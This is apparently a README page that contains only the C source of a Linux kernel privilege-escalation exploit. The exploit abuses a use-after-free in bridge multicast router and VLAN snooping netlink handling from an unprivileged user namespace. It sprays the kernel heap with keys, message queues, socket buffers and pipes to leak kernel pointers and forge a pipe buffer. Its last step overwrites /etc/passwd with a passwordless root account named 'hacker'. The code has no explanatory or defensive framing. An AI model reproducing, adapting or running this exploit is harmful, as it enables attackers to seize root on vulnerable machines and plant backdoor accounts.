README.md
Rendering markdown...
#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if.h>
#include <linux/if_link.h>
#include <linux/if_bridge.h>
#include <errno.h>
#include <time.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/resource.h>
#undef IFLA_BR_MULTI_BOOLOPT
#define IFLA_BR_MULTI_BOOLOPT 46
#ifndef BR_BOOLOPT_MCAST_VLAN_SNOOPING
#define BR_BOOLOPT_MCAST_VLAN_SNOOPING 1
#endif
#ifndef NLA_F_NESTED
#define NLA_F_NESTED (1 << 15)
#endif
#define SPRAY_NUM 19
int key_id[SPRAY_NUM];
extern unsigned int if_nametoindex(const char *__ifname);
struct iplink_req {
struct nlmsghdr n;
struct ifinfomsg i;
char buf[2048];
};
#define NLMSG_TAIL(nmsg) \
((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) {
int len = RTA_LENGTH(alen);
struct rtattr *rta;
if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return -1;
rta = NLMSG_TAIL(n);
rta->rta_type = type;
rta->rta_len = len;
if (data) memcpy(RTA_DATA(rta), data, alen);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
return 0;
}
struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) {
struct rtattr *nest = NLMSG_TAIL(n);
addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0);
return nest;
}
int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) {
nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
return n->nlmsg_len;
}
int build_stack_argv(char **def, char *buf, int buflen, char **argv) {
int i = 0;
char *p = buf;
while (def[i] != NULL && i < 15) {
int len = strlen(def[i]) + 1;
if ((p - buf) + len > buflen) break;
memcpy(p, def[i], len);
argv[i] = p;
p += len;
i++;
}
argv[i] = NULL;
return i;
}
int iplink_parse(int argc, char **argv, struct iplink_req *req) {
struct rtattr *linkinfo = NULL;
struct rtattr *data = NULL;
int is_slave = 0;
for (int i = 0; i < argc; i++) {
if (strcmp(argv[i], "name") == 0 || strcmp(argv[i], "dev") == 0) {
char *name = argv[++i];
addattr_l(&req->n, sizeof(*req), IFLA_IFNAME, name, strlen(name) + 1);
unsigned int idx = if_nametoindex(name);
if (idx > 0) req->i.ifi_index = idx;
} else if (strcmp(argv[i], "up") == 0) {
req->i.ifi_change |= IFF_UP;
req->i.ifi_flags |= IFF_UP;
} else if (strcmp(argv[i], "master") == 0) {
unsigned int ifindex = if_nametoindex(argv[++i]);
if (ifindex) addattr_l(&req->n, sizeof(*req), IFLA_MASTER, &ifindex, 4);
} else if (strcmp(argv[i], "type") == 0) {
char *type = argv[++i];
if (strcmp(type, "bridge_slave") == 0) {
is_slave = 1;
type = "bridge";
}
linkinfo = addattr_nest(&req->n, sizeof(*req), IFLA_LINKINFO);
addattr_l(&req->n, sizeof(*req), IFLA_INFO_KIND, type, strlen(type));
data = addattr_nest(&req->n, sizeof(*req), is_slave ? IFLA_INFO_SLAVE_DATA : IFLA_INFO_DATA);
} else if (strcmp(argv[i], "vlan_filtering") == 0) {
__u8 val = atoi(argv[++i]);
addattr_l(&req->n, sizeof(*req), IFLA_BR_VLAN_FILTERING, &val, 1);
} else if (strcmp(argv[i], "mcast_snooping") == 0) {
__u8 val = atoi(argv[++i]);
addattr_l(&req->n, sizeof(*req), IFLA_BR_MCAST_SNOOPING, &val, 1);
} else if (strcmp(argv[i], "mcast_vlan_snooping") == 0) {
__u8 val = atoi(argv[++i]);
struct br_boolopt_multi bm;
memset(&bm, 0, sizeof(bm));
bm.optmask = (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING);
bm.optval = val ? (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING) : 0;
addattr_l(&req->n, sizeof(*req), IFLA_BR_MULTI_BOOLOPT, &bm, sizeof(bm));
} else if (strcmp(argv[i], "mcast_router") == 0) {
__u8 val = atoi(argv[++i]);
addattr_l(&req->n, sizeof(*req), IFLA_BRPORT_MULTICAST_ROUTER, &val, 1);
}
}
if (data) addattr_nest_end(&req->n, data);
if (linkinfo) addattr_nest_end(&req->n, linkinfo);
return 0;
}
int rtnl_talk(struct nlmsghdr *n) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
n->nlmsg_seq = (unsigned int)time(NULL);
n->nlmsg_flags |= NLM_F_ACK;
if (sendto(fd, n, n->nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) {
close(fd); return -1;
}
char buf[4096];
int status = recv(fd, buf, sizeof(buf), 0);
if (status > 0) {
struct nlmsghdr *h = (struct nlmsghdr *)buf;
if (h->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
if (err->error < 0) {
close(fd); return -1;
}
}
}
close(fd);
return 0;
}
int iplink_modify(int cmd, unsigned int flags, int argc, char **argv) {
struct iplink_req req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.n.nlmsg_flags = NLM_F_REQUEST | flags;
req.n.nlmsg_type = cmd;
req.i.ifi_family = AF_UNSPEC;
iplink_parse(argc, argv, &req);
return rtnl_talk(&req.n);
}
void ns_setup(){
int fd;
char buff[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
exit(-1);
}
if (unshare(CLONE_NEWNET)) {
exit(-1);
}
fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);
fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getuid());
write(fd, buff, strlen(buff));
close(fd);
fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getgid());
write(fd, buff, strlen(buff));
close(fd);
}
void bind_core(int id){
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(id, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
}
int alloc_payload(int index,size_t inject_val, int uaf_write) {
char description[32];
snprintf(description, sizeof(description), "key-%06d", index);
size_t len = strlen(description);
if (len < 31) {
memset(description + len, 'A', 31 - len);
}
description[31] = '\0';
size_t plen = 1024 - 24;
char *payload = calloc(1, plen);
if (!payload) return -1;
if (inject_val != 0) {
*(size_t *)(payload + 0x130-0x18) = inject_val;
if(uaf_write){
*(size_t *)(payload + 0x198-0x18) = inject_val+0x28;
*(size_t *)(payload + 0x200-0x18) = inject_val+0x8;
}else
{
*(size_t *)(payload + 0x198-0x18) = inject_val+0x8;
*(size_t *)(payload + 0x200-0x18) = inject_val+0x18;
}
}
long key_id = syscall(SYS_add_key, "user", description, payload, plen, KEY_SPEC_SESSION_KEYRING);
free(payload);
return (int)key_id;
}
size_t uaf_ptr = 0;
int leak_ptr(int align) {
char buf[1024];
for (int i = 0; i < SPRAY_NUM; i++) {
if (syscall(SYS_keyctl, KEYCTL_READ, key_id[i], buf, sizeof(buf)) > 0) {
size_t val = *(size_t *)(buf + 0x1a0-0x18);
if (val != 0) {
if(align){
uaf_ptr = (val-0x198)&0xfffffffffffff000;
}else{
uaf_ptr = val-0x198;
}
printf("idx %d: uaf_ptr = 0x%lx\n", i, uaf_ptr);
return 0;
}
}
}
return -1;
}
int create_dummy_device(int idx) {
char name_buf[16];
char buffer[512];
char *argv[16];
int argc;
snprintf(name_buf, sizeof(name_buf), "dm_%d", idx);
char *cmd[] = {
"name", name_buf,
"up",
"master", "br1",
"type", "dummy",
NULL
};
argc = build_stack_argv(cmd, buffer, sizeof(buffer), argv);
return iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv);
}
int delete_dummy_device(int idx) {
char name_buf[16];
char buffer[512];
char *argv[16];
int argc;
snprintf(name_buf, sizeof(name_buf), "dm_%d", idx);
char *cmd[] = {"dev", name_buf, NULL};
argc = build_stack_argv(cmd, buffer, sizeof(buffer), argv);
return iplink_modify(RTM_DELLINK, 0, argc, argv);
}
#define MSG_NUM 2048
int msg_id[MSG_NUM];
#define PIPE_NUM 2048
int pipefds[PIPE_NUM][2];
struct msg_buf {
long mtype;
char mtext[4552];
};
void spray_msg_msg() {
struct msg_buf msg;
memset(msg.mtext, 0, sizeof(msg.mtext));
for (int i = 0; i < MSG_NUM; i++) {
msg.mtype = i+1;
msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msg_id[i] < 0) {
perror("[x]msgget failed");
exit(-1);
}
if(msgsnd(msg_id[i], &msg, sizeof(msg.mtext), 0) < 0) {
perror("[x]msgsnd failed");
exit(-1);
}
if(fcntl(pipefds[i][0], F_SETPIPE_SZ, 0x1000) < 0){
perror("[x]fcntl failed");
exit(-1);
}
}
}
size_t kernel_base=0;
int trig_uaf_spray(size_t uaf_ptr,size_t count,int uaf_write) {
int argc;
char buffer[512];
char *argv[16];
char *cmd1[] = {"name", "br1", "up", "type", "bridge", "vlan_filtering", "1", "mcast_snooping", "1", NULL};
argc = build_stack_argv(cmd1, buffer, sizeof(buffer), argv);
if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1;
usleep(10000);
char *cmd2[] = {"name", "dummy1", "up", "master", "br1", "type", "dummy", NULL};
argc = build_stack_argv(cmd2, buffer, sizeof(buffer), argv);
if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1;
usleep(10000);
char *mods[][10] = {
{"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL},
{"dev", "br1", "type", "bridge", "mcast_vlan_snooping", "1", NULL},
{"dev", "dummy1", "type", "bridge_slave", "mcast_router", "0", NULL},
{"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL}
};
for (int i = 0; i < 4; i++) {
argc = build_stack_argv(mods[i], buffer, sizeof(buffer), argv);
if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1;
usleep(10000);
}
char *cmd7[] = {"dev", "dummy1", NULL};
argc = build_stack_argv(cmd7, buffer, sizeof(buffer), argv);
if (iplink_modify(RTM_DELLINK, 0, argc, argv)) return -1;
usleep(20000);
for (int i = 0; i < SPRAY_NUM; i++) {
key_id[i] = alloc_payload(i,uaf_ptr,uaf_write);
if (key_id[i] < 0) return -1;
}
for (int i = 0; i < count/4*3; i++) {
create_dummy_device(i);
usleep(10000);
}
char *cmd8[] = {"name", "dummy2", "up", "master", "br1", "type", "dummy", NULL};
argc = build_stack_argv(cmd8, buffer, sizeof(buffer), argv);
if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1;
usleep(10000);
for (int i = count/4*3; i < count; i++) {
create_dummy_device(i);
usleep(10000);
}
//pipe(pipefd);
char *cmd9[] = {"dev", "dummy2", "type", "bridge_slave", "mcast_router", "2", NULL};
argc = build_stack_argv(cmd9, buffer, sizeof(buffer), argv);
if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1;
for (int i = 0; i < count/4*3; i++) delete_dummy_device(i);
char *cmd10[] = {"dev", "dummy2", NULL};
argc = build_stack_argv(cmd10, buffer, sizeof(buffer), argv);
iplink_modify(RTM_DELLINK, 0, argc, argv);
char *cmd11[] = {"dev", "br1", NULL};
argc = build_stack_argv(cmd11, buffer, sizeof(buffer), argv);
iplink_modify(RTM_DELLINK, 0, argc, argv);
for (int i = count/4*3; i < count; i++) delete_dummy_device(i);
//pipe(pipefd);
return 0;
}
int lift_limit(){
struct rlimit max_file;
getrlimit(RLIMIT_NOFILE,&max_file);
max_file.rlim_cur=max_file.rlim_max;
setrlimit(RLIMIT_NOFILE,&max_file);
return max_file.rlim_cur;
}
void prepare(){
for(int i=0;i<PIPE_NUM;i++){
if(pipe(pipefds[i]) < 0){
perror("[x]pipe failed");
exit(-1);
}
}
for (size_t i = 0; i < PIPE_NUM; i++)
{
if(fcntl(pipefds[i][0], F_SETPIPE_SZ, 0x8000) < 0){
perror("[x]fcntl failed");
exit(-1);
}
}
}
#define SOCK_NUM 16
#define SK_BUFF_NUM 128
#define SPRAY_SOCK 64
int sk_sockets[SOCK_NUM][2];
int spray_skb[SPRAY_SOCK][2];
int init_socket_array(int (*sk_array)[2],int count)
{
for (int i = 0; i < count; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_array[i]) < 0) {
printf("[x] failed to create no.%d socket pair!\n", i);
return -1;
}
}
return 0;
}
int spray_sk_buff(int (*sk_array)[2], void *buf, size_t size,int count)
{
for (int i = 0; i < count; i++) {
for (int j = 0; j < SK_BUFF_NUM; j++) {
if (write(sk_array[i][0], buf, size) < 0) {
printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
return -1;
}
}
}
return 0;
}
int free_sk_buff(int (*sk_array)[2], void *buf, size_t size,int count)
{
for (int i = 0; i < count; i++) {
for (int j = 0; j < SK_BUFF_NUM; j++) {
if (read(sk_array[i][1], buf, size) < 0) {
puts("[x] failed to received sk_buff!");
return -1;
}
}
}
return 0;
}
size_t page_ptr=-1;
size_t anon_pipe_ops=-1;
void exploit(){
struct msg_buf msg;
memset(msg.mtext, 0, sizeof(msg.mtext));
char *buf=malloc(1024);
prepare();
init_socket_array(sk_sockets,SOCK_NUM);
init_socket_array(spray_skb,SPRAY_SOCK);
for (int i = 0; i < 1024; i++) {
msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msg_id[i] < 0) {
perror("[x]msgget failed");
exit(-1);
}
for (int j = 0; j < 8; j++) {
msg.mtype = i + 1;
if(msgsnd(msg_id[i], &msg, 768, 0) < 0) {
perror("[x]msgsnd failed");
exit(-1);
}
}
}
spray_sk_buff(sk_sockets, buf, 384,0x10);
for (int i = 0; i < 1024; i++) {
msg.mtype = i+1;
msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msg_id[i] < 0) {
perror("[x]msgget failed");
exit(-1);
}
if(msgsnd(msg_id[i], &msg, sizeof(msg.mtext), 0) < 0) {
perror("[x]msgsnd failed");
exit(-1);
}
}
for (int i = 0; i < 1024; i++)
{
msg.mtype = i + 1;
if(msgrcv(msg_id[i], &msg, sizeof(msg.mtext), msg.mtype, 0) < 0) {
perror("[x]msgrcv failed");
exit(-1);
}
}
trig_uaf_spray(0,256,0);
if(leak_ptr(1)){
printf("[-]leak_ptr failed!\n");
exit(-1);
};
sleep(1);
spray_msg_msg();
free_sk_buff(sk_sockets, buf, 384,0x10);
//pipe(pipefd);
trig_uaf_spray(uaf_ptr+0x10,128,0);
sleep(1);
spray_sk_buff(sk_sockets, buf, 0x10, 8);
spray_sk_buff(sk_sockets, buf, 0x10, 6);
for (size_t i = 0; i < PIPE_NUM; i++)
{
if(fcntl(pipefds[i][0], F_SETPIPE_SZ, 0x1000*8) < 0){
perror("[x]fcntl failed");
exit(-1);
}
}
for (size_t i = 0; i < PIPE_NUM; i++)
{
write(pipefds[i][1], "AAAA", 4);
}
puts("done");
puts("done");
open("/proc/self/stat",0);
for (int i = 0; i < MSG_NUM; i++)
{
if(msgrcv(msg_id[i], &msg, sizeof(msg.mtext), 0, IPC_NOWAIT | MSG_COPY) < 0) {
perror("[x]msgrcv failed");
exit(-1);
}
size_t *ptr = (size_t *)msg.mtext;
if(ptr[518]>0xffffea0000000000 && ptr[520]>0xffffffff81000000 && (ptr[520]&0xfff)==0xe80){
page_ptr=ptr[518];
anon_pipe_ops=ptr[520];
printf("[+]Found page_ptr: 0x%lx at idx_0x%x\n", page_ptr, i);
//break;
}
}
if(page_ptr==-1){
printf("[-]page_ptr not found!\n");
exit(-1);
}
free_sk_buff(sk_sockets, buf, 0x10,6);
free_sk_buff(sk_sockets, buf, 0x10,8);
for (size_t i = 0; i < PIPE_NUM; i++)
{
close(pipefds[i][0]);
close(pipefds[i][1]);
}
memset(buf,'C',sizeof(buf));
spray_sk_buff(spray_skb, buf, 384,SPRAY_SOCK);
sleep(1);
memset(buf,0,sizeof(buf));
spray_sk_buff(sk_sockets, buf, 384,0x10);
trig_uaf_spray(0,96,0);
if(leak_ptr(1)){
printf("[-]leak_ptr failed!\n");
exit(-1);
};
sleep(1);
/*
maybe should let pipe_inode_info hold the uaf_memory.
*/
for (size_t i = 0; i < 4; i++) //maybe need modify?
{
for (size_t j = 0; j < MSG_NUM; j++)
{
if (i == 3 && j >= MSG_NUM / 2) {
break;
}
msg.mtype = (i<<24) | (j + 1);
if(msgsnd(msg_id[j], &msg, 128, IPC_NOWAIT) < 0) {
perror("[x]msgsnd failed");
exit(-1);
}
}
}
for (size_t j = 0; j < MSG_NUM; j++)
{
msg.mtype = (j<<32) | (j + 1);
if(msgsnd(msg_id[j], &msg, 4196, IPC_NOWAIT) < 0) {
perror("[x]msgsnd failed");
exit(-1);
}
}
puts("done1");
puts("done1");
open("/proc/self/stat",0);
for (size_t j = 0; j < MSG_NUM; j++)
{
msg.mtype = (j<<32) | (j + 1);
if(msgrcv(msg_id[j], &msg, 4196, msg.mtype, IPC_NOWAIT|MSG_NOERROR) < 0) {
perror("[x]msgrcv failed");
exit(-1);
}
if(pipe(pipefds[j]) < 0){
perror("[x]pipe failed");
exit(-1);
}
}
for (size_t i = 0; i < PIPE_NUM; i++)
{
if(write(pipefds[i][1], "BBBB", 4) < 0){
perror("[x]write failed");
exit(-1);
}
}
free_sk_buff(sk_sockets, buf, 384,0x10);
trig_uaf_spray(uaf_ptr+0x88,96,1);
size_t *fake_pipe_buffer=(size_t *)&msg.mtext[0x200-0x30];
fake_pipe_buffer[0]=page_ptr;
fake_pipe_buffer[1]=0;
fake_pipe_buffer[2]=anon_pipe_ops;
fake_pipe_buffer[3]=0x10;
for (size_t j = 0; j < MSG_NUM; j++)
{
msg.mtype = j + 1;
if(msgsnd(msg_id[j], &msg, 768, IPC_NOWAIT) < 0) {
perror("[x]msgsnd failed");
exit(-1);
}
}
/*
maybe should found the uaf_page and release,let filp in the hole.
*/
free_sk_buff(spray_skb, buf, 384,SPRAY_SOCK);
spray_sk_buff(spray_skb, buf, 384,SPRAY_SOCK/6);
int *fds=(int*)malloc(sizeof(int)*0x70000);
for (size_t i = 0; i < 0x70000; i++)
{
if ((fds[i]=open("/etc/passwd",0)) < 0)
{
perror("[x]open failed");
exit(-1);
}
}
size_t data[4];
data[0]=1;
data[1]=0x084f801f00000000;
for (size_t i = 0; i < PIPE_NUM; i++)
{
write(pipefds[i][1], (char*)data, 0x10);
}
puts("done2");
puts("done2");
open("/proc/self/stat",0);
for (size_t i = 0; i < 0x10000; i++)
{
if(write(fds[i],"hacker::0:0:root:/root:/bin/bash\n",34)>0){
puts("hacker done");
exit(0);
}
}
}
int main() {
bind_core(0);
ns_setup();
lift_limit();
exploit();
return 0;
}